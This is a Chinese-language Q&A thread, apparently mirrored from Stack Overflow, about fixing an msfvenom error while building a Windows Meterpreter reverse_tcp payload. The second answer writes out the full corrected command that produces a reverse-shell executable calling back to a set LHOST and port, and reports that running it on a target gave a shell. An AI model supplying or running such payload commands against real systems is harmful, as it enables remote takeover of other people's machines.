【问题标题】:Custom Payload Kali Linux自定义负载 Kali Linux
【发布时间】:2014-12-05 10:44:02
【问题描述】:
root@kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe
Attempting to read payload from STDIN...
You must select an arch for a custom payload

我已经在谷歌上搜索了一段时间,没有得到肯定的结果。

谁能告诉我'You must select an arch for a custom payload'是什么意思?

【问题讨论】:

标签: payload


【解决方案1】:

您好像是从网上复制了 msfvenom 的命令。

在你的命令中 -p 不是实际的 -p(这是一个与 Unicode 相关的问题),用你自己的键盘重写 -p 应该可以解决这个问题。

【讨论】:

    【解决方案2】:

    如果你去 msfvenom -h 它会带来帮助。您将看到设置架构的命令是“-a”,您需要将其设置为 x86 或您想要的任何其他架构。所以你的命令看起来像 msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe 但是您实际上需要通过在有效负载描述前包含“-p”来指定有效负载,因此您的命令将类似于 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe 。它会抱怨没有选择平台,所以它为你选择了一个......“没有选择平台,从有效负载中选择 Msf::Module::Platform::Windows”,然后你会得到“找到 0 个兼容的编码器” ,忽略它。输入“file yourexploit.exe”,它应该会给你一些数据,说 PE32 可执行文件......然后你就可以开始了。我只是想通了,它对我有用,在我的目标中运行 .exe 并获得了反向 shell。祝你好运!

    【讨论】:

    • 我可以为android创建一个自定义的payload
    猜你喜欢
    • 2018-09-19
    • 1970-01-01
    • 2016-03-08
    • 1970-01-01
    • 1970-01-01
    • 2011-12-17
    • 2017-03-19
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多